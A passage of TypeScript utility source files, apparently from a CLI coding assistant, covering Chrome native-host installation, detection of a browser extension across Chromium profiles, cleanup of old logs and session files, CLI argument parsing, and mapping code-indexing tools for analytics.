// Log but don't fail - the browser might not be installed
logForDebugging(
`[Claude in Chrome] Failed to install manifest at ${manifestPath}: ${error}`,
)
}
}
// Windows requires registry entries pointing to the manifest for each browser
if (getPlatform() === 'windows') {
const manifestPath = join(manifestDirs[0]!, NATIVE_HOST_MANIFEST_NAME)
registerWindowsNativeHosts(manifestPath)
}
// Restart the native host if we have rewritten any manifest
if (anyManifestUpdated) {
void isChromeExtensionInstalled().then(isInstalled => {
if (isInstalled) {
logForDebugging(
`[Claude in Chrome] First-time install detected, opening reconnect page in browser`,
)
void openInChrome(CHROME_EXTENSION_RECONNECT_URL)
} else {
logForDebugging(
`[Claude in Chrome] First-time install detected, but extension not installed, skipping reconnect`,
)
}
})
}
}
/**
* Register the native host in Windows registry for all supported browsers
*/
function registerWindowsNativeHosts(manifestPath: string): void {
const registryKeys = getAllWindowsRegistryKeys()
for (const { browser, key } of registryKeys) {
const fullKey = `${key}\\${NATIVE_HOST_IDENTIFIER}`
// Use reg.exe to add the registry entry
// https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging
void execFileNoThrowWithCwd('reg', [
'add',
fullKey,
'/ve', // Set the default (unnamed) value
'/t',
'REG_SZ',
'/d',
manifestPath,
'/f', // Force overwrite without prompt
]).then(result => {
if (result.code === 0) {
logForDebugging(
`[Claude in Chrome] Registered native host for ${browser} in Windows registry: ${fullKey}`,
)
} else {
logForDebugging(
`[Claude in Chrome] Failed to register native host for ${browser} in Windows registry: ${result.stderr}`,
)
}
})
}
}
/**
* Create a wrapper script in ~/.claude/chrome/ that invokes the given command. This is
* necessary because Chrome's native host manifest "path" field cannot contain arguments.
*
* @param command - The full command to execute (e.g., "/path/to/claude --chrome-native-host")
* @returns The path to the wrapper script
*/
async function createWrapperScript(command: string): Promise<string> {
const platform = getPlatform()
const chromeDir = join(getClaudeConfigHomeDir(), 'chrome')
const wrapperPath =
platform === 'windows'
? join(chromeDir, 'chrome-native-host.bat')
: join(chromeDir, 'chrome-native-host')
const scriptContent =
platform === 'windows'
? `@echo off
REM Chrome native host wrapper script
REM Generated by Claude Code - do not edit manually
${command}
`
: `#!/bin/sh
# Chrome native host wrapper script
# Generated by Claude Code - do not edit manually
exec ${command}
`
// Check if content matches to avoid unnecessary writes
const existingContent = await readFile(wrapperPath, 'utf-8').catch(() => null)
if (existingContent === scriptContent) {
return wrapperPath
}
await mkdir(chromeDir, { recursive: true })
await writeFile(wrapperPath, scriptContent)
if (platform !== 'windows') {
await chmod(wrapperPath, 0o755)
}
logForDebugging(
`[Claude in Chrome] Created Chrome native host wrapper script: ${wrapperPath}`,
)
return wrapperPath
}
/**
* Get cached value of whether Chrome extension is installed. Returns
* from disk cache immediately, updates cache in background.
*
* Use this for sync/startup-critical paths where blocking on filesystem
* access is not acceptable. The value may be stale if the cache hasn't
* been updated recently.
*
* Only positive detections are persisted. A negative result from the
* filesystem scan is not cached, because it may come from a machine that
* shares ~/.claude.json but has no local Chrome (e.g. a remote dev
* environment using the bridge), and caching it would permanently poison
* auto-enable for every session on every machine that reads that config.
*/
function isChromeExtensionInstalled_CACHED_MAY_BE_STALE(): boolean {
// Update cache in background without blocking
void isChromeExtensionInstalled().then(isInstalled => {
// Only persist positive detections — see docstring. The cost of a stale
// `true` is one silent MCP connection attempt per session; the cost of a
// stale `false` is auto-enable never working again without manual repair.
if (!isInstalled) {
return
}
const config = getGlobalConfig()
if (config.cachedChromeExtensionInstalled !== isInstalled) {
saveGlobalConfig(prev => ({
...prev,
cachedChromeExtensionInstalled: isInstalled,
}))
}
})
// Return cached value immediately from disk
const cached = getGlobalConfig().cachedChromeExtensionInstalled
return cached ?? false
}
/**
* Detects if the Claude in Chrome extension is installed by checking the Extensions
* directory across all supported Chromium-based browsers and their profiles.
*
* @returns Object with isInstalled boolean and the browser where the extension was found
*/
export async function isChromeExtensionInstalled(): Promise<boolean> {
const browserPaths = getAllBrowserDataPaths()
if (browserPaths.length === 0) {
logForDebugging(
`[Claude in Chrome] Unsupported platform for extension detection: ${getPlatform()}`,
)
return false
}
return isChromeExtensionInstalledPortable(browserPaths, logForDebugging)
}

View File

@@ -0,0 +1,233 @@
import { readdir } from 'fs/promises'
import { homedir } from 'os'
import { join } from 'path'
import { isFsInaccessible } from '../errors.js'
export const CHROME_EXTENSION_URL = 'https://claude.ai/chrome'
// Production extension ID
const PROD_EXTENSION_ID = 'fcoeoabgfenejglbffodgkkbkcdhcgfn'
// Dev extension IDs (for internal use)
const DEV_EXTENSION_ID = 'dihbgbndebgnbjfmelmegjepbnkhlgni'
const ANT_EXTENSION_ID = 'dngcpimnedloihjnnfngkgjoidhnaolf'
function getExtensionIds(): string[] {
return process.env.USER_TYPE === 'ant'
? [PROD_EXTENSION_ID, DEV_EXTENSION_ID, ANT_EXTENSION_ID]
: [PROD_EXTENSION_ID]
}
// Must match ChromiumBrowser from common.ts
export type ChromiumBrowser =
| 'chrome'
| 'brave'
| 'arc'
| 'chromium'
| 'edge'
| 'vivaldi'
| 'opera'
export type BrowserPath = {
browser: ChromiumBrowser
path: string
}
type Logger = (message: string) => void
// Browser detection order - must match BROWSER_DETECTION_ORDER from common.ts
const BROWSER_DETECTION_ORDER: ChromiumBrowser[] = [
'chrome',
'brave',
'arc',
'edge',
'chromium',
'vivaldi',
'opera',
]
type BrowserDataConfig = {
macos: string[]
linux: string[]
windows: { path: string[]; useRoaming?: boolean }
}
// Must match CHROMIUM_BROWSERS dataPath from common.ts
const CHROMIUM_BROWSERS: Record<ChromiumBrowser, BrowserDataConfig> = {
chrome: {
macos: ['Library', 'Application Support', 'Google', 'Chrome'],
linux: ['.config', 'google-chrome'],
windows: { path: ['Google', 'Chrome', 'User Data'] },
},
brave: {
macos: ['Library', 'Application Support', 'BraveSoftware', 'Brave-Browser'],
linux: ['.config', 'BraveSoftware', 'Brave-Browser'],
windows: { path: ['BraveSoftware', 'Brave-Browser', 'User Data'] },
},
arc: {
macos: ['Library', 'Application Support', 'Arc', 'User Data'],
linux: [],
windows: { path: ['Arc', 'User Data'] },
},
chromium: {
macos: ['Library', 'Application Support', 'Chromium'],
linux: ['.config', 'chromium'],
windows: { path: ['Chromium', 'User Data'] },
},
edge: {
macos: ['Library', 'Application Support', 'Microsoft Edge'],
linux: ['.config', 'microsoft-edge'],
windows: { path: ['Microsoft', 'Edge', 'User Data'] },
},
vivaldi: {
macos: ['Library', 'Application Support', 'Vivaldi'],
linux: ['.config', 'vivaldi'],
windows: { path: ['Vivaldi', 'User Data'] },
},
opera: {
macos: ['Library', 'Application Support', 'com.operasoftware.Opera'],
linux: ['.config', 'opera'],
windows: { path: ['Opera Software', 'Opera Stable'], useRoaming: true },
},
}
/**
* Get all browser data paths to check for extension installation.
* Portable version that uses process.platform directly.
*/
export function getAllBrowserDataPathsPortable(): BrowserPath[] {
const home = homedir()
const paths: BrowserPath[] = []
for (const browserId of BROWSER_DETECTION_ORDER) {
const config = CHROMIUM_BROWSERS[browserId]
let dataPath: string[] | undefined
switch (process.platform) {
case 'darwin':
dataPath = config.macos
break
case 'linux':
dataPath = config.linux
break
case 'win32': {
if (config.windows.path.length > 0) {
const appDataBase = config.windows.useRoaming
? join(home, 'AppData', 'Roaming')
: join(home, 'AppData', 'Local')
paths.push({
browser: browserId,
path: join(appDataBase, ...config.windows.path),
})
}
continue
}
}
if (dataPath && dataPath.length > 0) {
paths.push({
browser: browserId,
path: join(home, ...dataPath),
})
}
}
return paths
}
/**
* Detects if the Claude in Chrome extension is installed by checking the Extensions
* directory across all supported Chromium-based browsers and their profiles.
*
* This is a portable version that can be used by both TUI and VS Code extension.
*
* @param browserPaths - Array of browser data paths to check (from getAllBrowserDataPaths)
* @param log - Optional logging callback for debug messages
* @returns Object with isInstalled boolean and the browser where the extension was found
*/
export async function detectExtensionInstallationPortable(
browserPaths: BrowserPath[],
log?: Logger,
): Promise<{
isInstalled: boolean
browser: ChromiumBrowser | null
}> {
if (browserPaths.length === 0) {
log?.(`[Claude in Chrome] No browser paths to check`)
return { isInstalled: false, browser: null }
}
const extensionIds = getExtensionIds()
// Check each browser for the extension
for (const { browser, path: browserBasePath } of browserPaths) {
let browserProfileEntries = []
try {
browserProfileEntries = await readdir(browserBasePath, {
withFileTypes: true,
})
} catch (e) {
// Browser not installed or path doesn't exist, continue to next browser
if (isFsInaccessible(e)) continue
throw e
}
const profileDirs = browserProfileEntries
.filter(entry => entry.isDirectory())
.filter(
entry => entry.name === 'Default' || entry.name.startsWith('Profile '),
)
.map(entry => entry.name)
if (profileDirs.length > 0) {
log?.(
`[Claude in Chrome] Found ${browser} profiles: ${profileDirs.join(', ')}`,
)
}
// Check each profile for any of the extension IDs
for (const profile of profileDirs) {
for (const extensionId of extensionIds) {
const extensionPath = join(
browserBasePath,
profile,
'Extensions',
extensionId,
)
try {
await readdir(extensionPath)
log?.(
`[Claude in Chrome] Extension ${extensionId} found in ${browser} ${profile}`,
)
return { isInstalled: true, browser }
} catch {
// Extension not found in this profile, continue checking
}
}
}
}
log?.(`[Claude in Chrome] Extension not found in any browser`)
return { isInstalled: false, browser: null }
}
/**
* Simple wrapper that returns just the boolean result
*/
export async function isChromeExtensionInstalledPortable(
browserPaths: BrowserPath[],
log?: Logger,
): Promise<boolean> {
const result = await detectExtensionInstallationPortable(browserPaths, log)
return result.isInstalled
}
/**
* Convenience function that gets browser paths automatically.
* Use this when you don't need to provide custom browser paths.
*/
export function isChromeExtensionInstalled(log?: Logger): Promise<boolean> {
const browserPaths = getAllBrowserDataPathsPortable()
return isChromeExtensionInstalledPortable(browserPaths, log)
}

File diff suppressed because one or more lines are too long

1479
src/utils/claudemd.ts Normal file

File diff suppressed because it is too large Load Diff

602
src/utils/cleanup.ts Normal file
View File

@@ -0,0 +1,602 @@
import * as fs from 'fs/promises'
import { homedir } from 'os'
import { join } from 'path'
import { logEvent } from '../services/analytics/index.js'
import { CACHE_PATHS } from './cachePaths.js'
import { logForDebugging } from './debug.js'
import { getClaudeConfigHomeDir } from './envUtils.js'
import { type FsOperations, getFsImplementation } from './fsOperations.js'
import { cleanupOldImageCaches } from './imageStore.js'
import * as lockfile from './lockfile.js'
import { logError } from './log.js'
import { cleanupOldVersions } from './nativeInstaller/index.js'
import { cleanupOldPastes } from './pasteStore.js'
import { getProjectsDir } from './sessionStorage.js'
import { getSettingsWithAllErrors } from './settings/allErrors.js'
import {
getSettings_DEPRECATED,
rawSettingsContainsKey,
} from './settings/settings.js'
import { TOOL_RESULTS_SUBDIR } from './toolResultStorage.js'
import { cleanupStaleAgentWorktrees } from './worktree.js'
const DEFAULT_CLEANUP_PERIOD_DAYS = 30
function getCutoffDate(): Date {
const settings = getSettings_DEPRECATED() || {}
const cleanupPeriodDays =
settings.cleanupPeriodDays ?? DEFAULT_CLEANUP_PERIOD_DAYS
const cleanupPeriodMs = cleanupPeriodDays * 24 * 60 * 60 * 1000
return new Date(Date.now() - cleanupPeriodMs)
}
export type CleanupResult = {
messages: number
errors: number
}
export function addCleanupResults(
a: CleanupResult,
b: CleanupResult,
): CleanupResult {
return {
messages: a.messages + b.messages,
errors: a.errors + b.errors,
}
}
export function convertFileNameToDate(filename: string): Date {
const isoStr = filename
.split('.')[0]!
.replace(/T(\d{2})-(\d{2})-(\d{2})-(\d{3})Z/, 'T$1:$2:$3.$4Z')
return new Date(isoStr)
}
async function cleanupOldFilesInDirectory(
dirPath: string,
cutoffDate: Date,
isMessagePath: boolean,
): Promise<CleanupResult> {
const result: CleanupResult = { messages: 0, errors: 0 }
try {
const files = await getFsImplementation().readdir(dirPath)
for (const file of files) {
try {
// Convert filename format where all ':.' were replaced with '-'
const timestamp = convertFileNameToDate(file.name)
if (timestamp < cutoffDate) {
await getFsImplementation().unlink(join(dirPath, file.name))
// Increment the appropriate counter
if (isMessagePath) {
result.messages++
} else {
result.errors++
}
}
} catch (error) {
// Log but continue processing other files
logError(error as Error)
}
}
} catch (error: unknown) {
// Ignore if directory doesn't exist
if (error instanceof Error && 'code' in error && error.code !== 'ENOENT') {
logError(error)
}
}
return result
}
export async function cleanupOldMessageFiles(): Promise<CleanupResult> {
const fsImpl = getFsImplementation()
const cutoffDate = getCutoffDate()
const errorPath = CACHE_PATHS.errors()
const baseCachePath = CACHE_PATHS.baseLogs()
// Clean up message and error logs
let result = await cleanupOldFilesInDirectory(errorPath, cutoffDate, false)
// Clean up MCP logs
try {
let dirents
try {
dirents = await fsImpl.readdir(baseCachePath)
} catch {
return result
}
const mcpLogDirs = dirents
.filter(
dirent => dirent.isDirectory() && dirent.name.startsWith('mcp-logs-'),
)
.map(dirent => join(baseCachePath, dirent.name))
for (const mcpLogDir of mcpLogDirs) {
// Clean up files in MCP log directory
result = addCleanupResults(
result,
await cleanupOldFilesInDirectory(mcpLogDir, cutoffDate, true),
)
await tryRmdir(mcpLogDir, fsImpl)
}
} catch (error: unknown) {
if (error instanceof Error && 'code' in error && error.code !== 'ENOENT') {
logError(error)
}
}
return result
}
async function unlinkIfOld(
filePath: string,
cutoffDate: Date,
fsImpl: FsOperations,
): Promise<boolean> {
const stats = await fsImpl.stat(filePath)
if (stats.mtime < cutoffDate) {
await fsImpl.unlink(filePath)
return true
}
return false
}
async function tryRmdir(dirPath: string, fsImpl: FsOperations): Promise<void> {
try {
await fsImpl.rmdir(dirPath)
} catch {
// not empty / doesn't exist
}
}
export async function cleanupOldSessionFiles(): Promise<CleanupResult> {
const cutoffDate = getCutoffDate()
const result: CleanupResult = { messages: 0, errors: 0 }
const projectsDir = getProjectsDir()
const fsImpl = getFsImplementation()
let projectDirents
try {
projectDirents = await fsImpl.readdir(projectsDir)
} catch {
return result
}
for (const projectDirent of projectDirents) {
if (!projectDirent.isDirectory()) continue
const projectDir = join(projectsDir, projectDirent.name)
// Single readdir per project directory — partition into files and session dirs
let entries
try {
entries = await fsImpl.readdir(projectDir)
} catch {
result.errors++
continue
}
for (const entry of entries) {
if (entry.isFile()) {
if (!entry.name.endsWith('.jsonl') && !entry.name.endsWith('.cast')) {
continue
}
try {
if (
await unlinkIfOld(join(projectDir, entry.name), cutoffDate, fsImpl)
) {
result.messages++
}
} catch {
result.errors++
}
} else if (entry.isDirectory()) {
// Session directory — clean up tool-results/<toolDir>/* beneath it
const sessionDir = join(projectDir, entry.name)
const toolResultsDir = join(sessionDir, TOOL_RESULTS_SUBDIR)
let toolDirs
try {
toolDirs = await fsImpl.readdir(toolResultsDir)
} catch {
// No tool-results dir — still try to remove an empty session dir
await tryRmdir(sessionDir, fsImpl)
continue
}
for (const toolEntry of toolDirs) {
if (toolEntry.isFile()) {
try {
if (
await unlinkIfOld(
join(toolResultsDir, toolEntry.name),
cutoffDate,
fsImpl,
)
) {
result.messages++
}
} catch {
result.errors++
}
} else if (toolEntry.isDirectory()) {
const toolDirPath = join(toolResultsDir, toolEntry.name)
let toolFiles
try {
toolFiles = await fsImpl.readdir(toolDirPath)
} catch {
continue
}
for (const tf of toolFiles) {
if (!tf.isFile()) continue
try {
if (
await unlinkIfOld(
join(toolDirPath, tf.name),
cutoffDate,
fsImpl,
)
) {
result.messages++
}
} catch {
result.errors++
}
}
await tryRmdir(toolDirPath, fsImpl)
}
}
await tryRmdir(toolResultsDir, fsImpl)
await tryRmdir(sessionDir, fsImpl)
}
}
await tryRmdir(projectDir, fsImpl)
}
return result
}
/**
* Generic helper for cleaning up old files in a single directory
* @param dirPath Path to the directory to clean
* @param extension File extension to filter (e.g., '.md', '.jsonl')
* @param removeEmptyDir Whether to remove the directory if empty after cleanup
*/
async function cleanupSingleDirectory(
dirPath: string,
extension: string,
removeEmptyDir: boolean = true,
): Promise<CleanupResult> {
const cutoffDate = getCutoffDate()
const result: CleanupResult = { messages: 0, errors: 0 }
const fsImpl = getFsImplementation()
let dirents
try {
dirents = await fsImpl.readdir(dirPath)
} catch {
return result
}
for (const dirent of dirents) {
if (!dirent.isFile() || !dirent.name.endsWith(extension)) continue
try {
if (await unlinkIfOld(join(dirPath, dirent.name), cutoffDate, fsImpl)) {
result.messages++
}
} catch {
result.errors++
}
}
if (removeEmptyDir) {
await tryRmdir(dirPath, fsImpl)
}
return result
}
export function cleanupOldPlanFiles(): Promise<CleanupResult> {
const plansDir = join(getClaudeConfigHomeDir(), 'plans')
return cleanupSingleDirectory(plansDir, '.md')
}
export async function cleanupOldFileHistoryBackups(): Promise<CleanupResult> {
const cutoffDate = getCutoffDate()
const result: CleanupResult = { messages: 0, errors: 0 }
const fsImpl = getFsImplementation()
try {
const configDir = getClaudeConfigHomeDir()
const fileHistoryStorageDir = join(configDir, 'file-history')
let dirents
try {
dirents = await fsImpl.readdir(fileHistoryStorageDir)
} catch {
return result
}
const fileHistorySessionsDirs = dirents
.filter(dirent => dirent.isDirectory())
.map(dirent => join(fileHistoryStorageDir, dirent.name))
await Promise.all(
fileHistorySessionsDirs.map(async fileHistorySessionDir => {
try {
const stats = await fsImpl.stat(fileHistorySessionDir)
if (stats.mtime < cutoffDate) {
await fsImpl.rm(fileHistorySessionDir, {
recursive: true,
force: true,
})
result.messages++
}
} catch {
result.errors++
}
}),
)
await tryRmdir(fileHistoryStorageDir, fsImpl)
} catch (error) {
logError(error as Error)
}
return result
}
export async function cleanupOldSessionEnvDirs(): Promise<CleanupResult> {
const cutoffDate = getCutoffDate()
const result: CleanupResult = { messages: 0, errors: 0 }
const fsImpl = getFsImplementation()
try {
const configDir = getClaudeConfigHomeDir()
const sessionEnvBaseDir = join(configDir, 'session-env')
let dirents
try {
dirents = await fsImpl.readdir(sessionEnvBaseDir)
} catch {
return result
}
const sessionEnvDirs = dirents
.filter(dirent => dirent.isDirectory())
.map(dirent => join(sessionEnvBaseDir, dirent.name))
for (const sessionEnvDir of sessionEnvDirs) {
try {
const stats = await fsImpl.stat(sessionEnvDir)
if (stats.mtime < cutoffDate) {
await fsImpl.rm(sessionEnvDir, { recursive: true, force: true })
result.messages++
}
} catch {
result.errors++
}
}
await tryRmdir(sessionEnvBaseDir, fsImpl)
} catch (error) {
logError(error as Error)
}
return result
}
/**
* Cleans up old debug log files from ~/.claude/debug/
* Preserves the 'latest' symlink which points to the current session's log.
* Debug logs can grow very large (especially with the infinite logging loop bug)
* and accumulate indefinitely without this cleanup.
*/
export async function cleanupOldDebugLogs(): Promise<CleanupResult> {
const cutoffDate = getCutoffDate()
const result: CleanupResult = { messages: 0, errors: 0 }
const fsImpl = getFsImplementation()
const debugDir = join(getClaudeConfigHomeDir(), 'debug')
let dirents
try {
dirents = await fsImpl.readdir(debugDir)
} catch {
return result
}
for (const dirent of dirents) {
// Preserve the 'latest' symlink
if (
!dirent.isFile() ||
!dirent.name.endsWith('.txt') ||
dirent.name === 'latest'
) {
continue
}
try {
if (await unlinkIfOld(join(debugDir, dirent.name), cutoffDate, fsImpl)) {
result.messages++
}
} catch {
result.errors++
}
}
// Intentionally do NOT remove debugDir even if empty — needed for future logs
return result
}
const ONE_DAY_MS = 24 * 60 * 60 * 1000
/**
* Clean up old npm cache entries for Anthropic packages.
* This helps reduce disk usage since we publish many dev versions per day.
* Only runs once per day for Ant users.
*/
export async function cleanupNpmCacheForAnthropicPackages(): Promise<void> {
const markerPath = join(getClaudeConfigHomeDir(), '.npm-cache-cleanup')
try {
const stat = await fs.stat(markerPath)
if (Date.now() - stat.mtimeMs < ONE_DAY_MS) {
logForDebugging('npm cache cleanup: skipping, ran recently')
return
}
} catch {
// File doesn't exist, proceed with cleanup
}
try {
await lockfile.lock(markerPath, { retries: 0, realpath: false })
} catch {
logForDebugging('npm cache cleanup: skipping, lock held')
return
}
logForDebugging('npm cache cleanup: starting')
const npmCachePath = join(homedir(), '.npm', '_cacache')
const NPM_CACHE_RETENTION_COUNT = 5
const startTime = Date.now()
try {
const cacache = await import('cacache')
const cutoff = startTime - ONE_DAY_MS
// Stream index entries and collect all Anthropic package entries.
// Previous implementation used cacache.verify() which does a full
// integrity check + GC of the ENTIRE cache — O(all content blobs).
// On large caches this took 60+ seconds and blocked the event loop.
const stream = cacache.ls.stream(npmCachePath)
const anthropicEntries: { key: string; time: number }[] = []
for await (const entry of stream as AsyncIterable<{
key: string
time: number
}>) {
if (entry.key.includes('@anthropic-ai/claude-')) {
anthropicEntries.push({ key: entry.key, time: entry.time })
}
}
// Group by package name (everything before the last @version separator)
const byPackage = new Map<string, { key: string; time: number }[]>()
for (const entry of anthropicEntries) {
const atVersionIdx = entry.key.lastIndexOf('@')
const pkgName =
atVersionIdx > 0 ? entry.key.slice(0, atVersionIdx) : entry.key
const existing = byPackage.get(pkgName) ?? []
existing.push(entry)
byPackage.set(pkgName, existing)
}
// Remove entries older than 1 day OR beyond the top N most recent per package
const keysToRemove: string[] = []
for (const [, entries] of byPackage) {
entries.sort((a, b) => b.time - a.time) // newest first
for (let i = 0; i < entries.length; i++) {
const entry = entries[i]!
if (entry.time < cutoff || i >= NPM_CACHE_RETENTION_COUNT) {
keysToRemove.push(entry.key)
}
}
}
await Promise.all(
keysToRemove.map(key => cacache.rm.entry(npmCachePath, key)),
)
await fs.writeFile(markerPath, new Date().toISOString())
const durationMs = Date.now() - startTime
if (keysToRemove.length > 0) {
logForDebugging(
`npm cache cleanup: Removed ${keysToRemove.length} old @anthropic-ai entries in ${durationMs}ms`,
)
} else {
logForDebugging(`npm cache cleanup: completed in ${durationMs}ms`)
}
logEvent('tengu_npm_cache_cleanup', {
success: true,
durationMs,
entriesRemoved: keysToRemove.length,
})
} catch (error) {
logError(error as Error)
logEvent('tengu_npm_cache_cleanup', {
success: false,
durationMs: Date.now() - startTime,
})
} finally {
await lockfile.unlock(markerPath, { realpath: false }).catch(() => {})
}
}
/**
* Throttled wrapper around cleanupOldVersions for recurring cleanup in long-running sessions.
* Uses a marker file and lock to ensure it runs at most once per 24 hours,
* and does not block if another process is already running cleanup.
* The regular cleanupOldVersions() should still be used for installer flows.
*/
export async function cleanupOldVersionsThrottled(): Promise<void> {
const markerPath = join(getClaudeConfigHomeDir(), '.version-cleanup')
try {
const stat = await fs.stat(markerPath)
if (Date.now() - stat.mtimeMs < ONE_DAY_MS) {
logForDebugging('version cleanup: skipping, ran recently')
return
}
} catch {
// File doesn't exist, proceed with cleanup
}
try {
await lockfile.lock(markerPath, { retries: 0, realpath: false })
} catch {
logForDebugging('version cleanup: skipping, lock held')
return
}
logForDebugging('version cleanup: starting (throttled)')
try {
await cleanupOldVersions()
await fs.writeFile(markerPath, new Date().toISOString())
} catch (error) {
logError(error as Error)
} finally {
await lockfile.unlock(markerPath, { realpath: false }).catch(() => {})
}
}
export async function cleanupOldMessageFilesInBackground(): Promise<void> {
// If settings have validation errors but the user explicitly set cleanupPeriodDays,
// skip cleanup entirely rather than falling back to the default (30 days).
// This prevents accidentally deleting files when the user intended a different retention period.
const { errors } = getSettingsWithAllErrors()
if (errors.length > 0 && rawSettingsContainsKey('cleanupPeriodDays')) {
logForDebugging(
'Skipping cleanup: settings have validation errors but cleanupPeriodDays was explicitly set. Fix settings errors to enable cleanup.',
)
return
}
await cleanupOldMessageFiles()
await cleanupOldSessionFiles()
await cleanupOldPlanFiles()
await cleanupOldFileHistoryBackups()
await cleanupOldSessionEnvDirs()
await cleanupOldDebugLogs()
await cleanupOldImageCaches()
await cleanupOldPastes(getCutoffDate())
const removedWorktrees = await cleanupStaleAgentWorktrees(getCutoffDate())
if (removedWorktrees > 0) {
logEvent('tengu_worktree_cleanup', { removed: removedWorktrees })
}
if (process.env.USER_TYPE === 'ant') {
await cleanupNpmCacheForAnthropicPackages()
}
}

View File

@@ -0,0 +1,25 @@
/**
* Global registry for cleanup functions that should run during graceful shutdown.
* This module is separate from gracefulShutdown.ts to avoid circular dependencies.
*/
// Global registry for cleanup functions
const cleanupFunctions = new Set<() => Promise<void>>()
/**
* Register a cleanup function to run during graceful shutdown.
* @param cleanupFn - Function to run during cleanup (can be sync or async)
* @returns Unregister function that removes the cleanup handler
*/
export function registerCleanup(cleanupFn: () => Promise<void>): () => void {
cleanupFunctions.add(cleanupFn)
return () => cleanupFunctions.delete(cleanupFn) // Return unregister function
}
/**
* Run all registered cleanup functions.
* Used internally by gracefulShutdown.
*/
export async function runCleanupFunctions(): Promise<void> {
await Promise.all(Array.from(cleanupFunctions).map(fn => fn()))
}

60
src/utils/cliArgs.ts Normal file
View File

@@ -0,0 +1,60 @@
/**
* Parse a CLI flag value early, before Commander.js processes arguments.
* Supports both space-separated (--flag value) and equals-separated (--flag=value) syntax.
*
* This function is intended for flags that must be parsed before init() runs,
* such as --settings which affects configuration loading. For normal flag parsing,
* rely on Commander.js which handles this automatically.
*
* @param flagName The flag name including dashes (e.g., '--settings')
* @param argv Optional argv array to parse (defaults to process.argv)
* @returns The value if found, undefined otherwise
*/
export function eagerParseCliFlag(
flagName: string,
argv: string[] = process.argv,
): string | undefined {
for (let i = 0; i < argv.length; i++) {
const arg = argv[i]
// Handle --flag=value syntax
if (arg?.startsWith(`${flagName}=`)) {
return arg.slice(flagName.length + 1)
}
// Handle --flag value syntax
if (arg === flagName && i + 1 < argv.length) {
return argv[i + 1]
}
}
return undefined
}
/**
* Handle the standard Unix `--` separator convention in CLI arguments.
*
* When using Commander.js with `.passThroughOptions()`, the `--` separator
* is passed through as a positional argument rather than being consumed.
* This means when a user runs:
* `cmd --opt value name -- subcmd --flag arg`
*
* Commander parses it as:
* positional1 = "name", positional2 = "--", rest = ["subcmd", "--flag", "arg"]
*
* This function corrects the parsing by extracting the actual command from
* the rest array when the positional is `--`.
*
* @param commandOrValue - The parsed positional that may be "--"
* @param args - The remaining arguments array
* @returns Object with corrected command and args
*/
export function extractArgsAfterDoubleDash(
commandOrValue: string,
args: string[] = [],
): { command: string; args: string[] } {
if (commandOrValue === '--' && args.length > 0) {
return {
command: args[0]!,
args: args.slice(1),
}
}
return { command: commandOrValue, args }
}

54
src/utils/cliHighlight.ts Normal file
View File

@@ -0,0 +1,54 @@
// highlight.js's type defs carry `/// <reference lib="dom" />`. SSETransport,
// mcp/client, ssh, dumpPrompts use DOM types (TextDecodeOptions, RequestInfo)
// that only typecheck because this file's `typeof import('highlight.js')` pulls
// lib.dom in. tsconfig has lib: ["ESNext"] only — fixing the actual DOM-type
// deps is a separate sweep; this ref preserves the status quo.
/// <reference lib="dom" />
import { extname } from 'path'
export type CliHighlight = {
highlight: typeof import('cli-highlight').highlight
supportsLanguage: typeof import('cli-highlight').supportsLanguage
}
// One promise shared by Fallback.tsx, markdown.ts, events.ts, getLanguageName.
// The highlight.js import piggybacks: cli-highlight has already pulled it into
// the module cache, so the second import() is a cache hit — no extra bytes
// faulted in.
let cliHighlightPromise: Promise<CliHighlight | null> | undefined
let loadedGetLanguage: typeof import('highlight.js').getLanguage | undefined
async function loadCliHighlight(): Promise<CliHighlight | null> {
try {
const cliHighlight = await import('cli-highlight')
// cache hit — cli-highlight already loaded highlight.js
const highlightJs = await import('highlight.js')
loadedGetLanguage = highlightJs.getLanguage
return {
highlight: cliHighlight.highlight,
supportsLanguage: cliHighlight.supportsLanguage,
}
} catch {
return null
}
}
export function getCliHighlightPromise(): Promise<CliHighlight | null> {
cliHighlightPromise ??= loadCliHighlight()
return cliHighlightPromise
}
/**
* eg. "foo/bar.ts" → "TypeScript". Awaits the shared cli-highlight load,
* then reads highlight.js's language registry. All callers are telemetry
* (OTel counter attributes, permission-dialog unary events) — none block
* on this, they fire-and-forget or the consumer already handles Promise<string>.
*/
export async function getLanguageName(file_path: string): Promise<string> {
await getCliHighlightPromise()
const ext = extname(file_path).slice(1)
if (!ext) return 'unknown'
return loadedGetLanguage?.(ext)?.name ?? 'unknown'
}

206
src/utils/codeIndexing.ts Normal file
View File

@@ -0,0 +1,206 @@
/**
* Utility functions for detecting code indexing tool usage.
*
* Tracks usage of common code indexing solutions like Sourcegraph, Cody, etc.
* both via CLI commands and MCP server integrations.
*/
/**
* Known code indexing tool identifiers.
* These are the normalized names used in analytics events.
*/
export type CodeIndexingTool =
// Code search engines
| 'sourcegraph'
| 'hound'
| 'seagoat'
| 'bloop'
| 'gitloop'
// AI coding assistants with indexing
| 'cody'
| 'aider'
| 'continue'
| 'github-copilot'
| 'cursor'
| 'tabby'
| 'codeium'
| 'tabnine'
| 'augment'
| 'windsurf'
| 'aide'
| 'pieces'
| 'qodo'
| 'amazon-q'
| 'gemini'
// MCP code indexing servers
| 'claude-context'
| 'code-index-mcp'
| 'local-code-search'
| 'autodev-codebase'
// Context providers
| 'openctx'
/**
* Mapping of CLI command prefixes to code indexing tools.
* The key is the command name (first word of the command).
*/
const CLI_COMMAND_MAPPING: Record<string, CodeIndexingTool> = {
// Sourcegraph ecosystem
src: 'sourcegraph',
cody: 'cody',
// AI coding assistants
aider: 'aider',
tabby: 'tabby',
tabnine: 'tabnine',
augment: 'augment',
pieces: 'pieces',
qodo: 'qodo',
aide: 'aide',
// Code search tools
hound: 'hound',
seagoat: 'seagoat',
bloop: 'bloop',
gitloop: 'gitloop',
// Cloud provider AI assistants
q: 'amazon-q',
gemini: 'gemini',
}
/**
* Mapping of MCP server name patterns to code indexing tools.
* Patterns are matched case-insensitively against the server name.
*/
const MCP_SERVER_PATTERNS: Array<{
pattern: RegExp
tool: CodeIndexingTool
}> = [
// Sourcegraph ecosystem
{ pattern: /^sourcegraph$/i, tool: 'sourcegraph' },
{ pattern: /^cody$/i, tool: 'cody' },
{ pattern: /^openctx$/i, tool: 'openctx' },
// AI coding assistants
{ pattern: /^aider$/i, tool: 'aider' },
{ pattern: /^continue$/i, tool: 'continue' },
{ pattern: /^github[-_]?copilot$/i, tool: 'github-copilot' },
{ pattern: /^copilot$/i, tool: 'github-copilot' },
{ pattern: /^cursor$/i, tool: 'cursor' },
{ pattern: /^tabby$/i, tool: 'tabby' },
{ pattern: /^codeium$/i, tool: 'codeium' },
